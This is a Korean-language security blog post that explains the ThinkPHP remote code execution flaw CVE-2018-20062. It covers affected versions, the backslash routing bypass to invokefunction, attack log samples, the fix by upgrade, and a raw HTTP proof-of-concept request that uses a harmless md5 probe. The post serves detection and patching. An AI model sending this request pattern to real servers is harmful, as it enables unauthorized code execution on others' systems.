Security & Hacking/Vulnerability

[CVE-2018-20062] ThinkPHP Remote Code Execution Vulnerability

도라 2021. 6. 2. 21:36

1. 개념

ThinkPHP는 중국 탑씽크에서 개발한 Apache2 오픈 소스 라이선스에 따라 배포되는 무료 프레임 워크이다. ThinkPHP 취약점은 오픈소스 PHP 개발 프레임워크로 ThinkPHP를 사용한 웹 프레임워크에서 인증되지 않은 원격코드 실행 취약점이다. 이 프레임 워크는 단순성 및 사용성이라는 디자인 원칙을 기반으로 사용 편의성 (EOU)을 유지하면서 간단한 코드를 통해 개발 코드를 짜는데 뛰어났으며 개발 프로젝트에서 많이 사용되고 있다. 또한 중국의 대다수 서버가 ThinkPHP를 통해 서버를 구동하고 아시아권에서 해당 프레임워크도 많이 사용 중이다.

 

 

 2. 취약시스템

- 영향을 받는 버전

ThinkPHP 5.1.31, 5.0.23 이전 버전 

 

- 영향을 받지 않는 버전

ThinkPHP 5.1.31

ThinkPHP 5.0.23

 

 3. 공격 설명

해당 취약점은 문자열이 필터링되지 않아 컨트롤러 클래스(app)를 직접 접근하는 취약점이다.

thinkphp ‘/’기준으로 파싱을 진행하는데 ‘\’를 이용하면 think 내에 컨트롤러 클래스 app를 생성하여 invokefunction 메소드를 통해 원격명령을 실행이 가능해진다.
invokefunction 
메소드는 URL에 입력된 PHP 함수로 원격코드를 실행할 수 있다. 또한 Request 컨트롤러 클래스를 통해 원격코드 명령어도 실행할 수 있다는데서 취약하다.

 

 

다양한 공격 로그 표시 :

index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]

이전 로그를 보면 '\' 문자열이 우회 값 공격 로그로 인식되어 정상적인 아스키 변환 코드로 확인 가능했다.

/index/ HTTP/1.\think\x07pp/invokefunction&function=call_user_func_array&vars[0]

이후 로그에는 아스키 변환 과정에서 '/index/.hink.pp/invokefunction' 인식하도록 바뀌었다.

하지만 현재 많은 공격은 이 두 가지 모두 들어오고 있으니 해당 로그가 발생하면 대응해야한다.

 

 

 

 

 4. Raw data

GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21 HTTP/1.1

Host: <Target IP>

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

Accept-Encoding: gzip

Connection: close

 

 5. 해결 방법

- 컨트롤러 이름을 확인하는 정규식을 추가한 PHP를 업데이트하여 취약점을 예방할 수 있다.

- ThinkPHP 버전 5.0.23 또는 5.1.31로 업데이트를 하는 것을 권장한다.

 

6. 참고자료

https://blog.thinkphp.cn/869075 

https://securitynews.sonicwall.com/xmlpost/thinkphp-remote-code-execution-rce-bug-is-actively-being-exploited/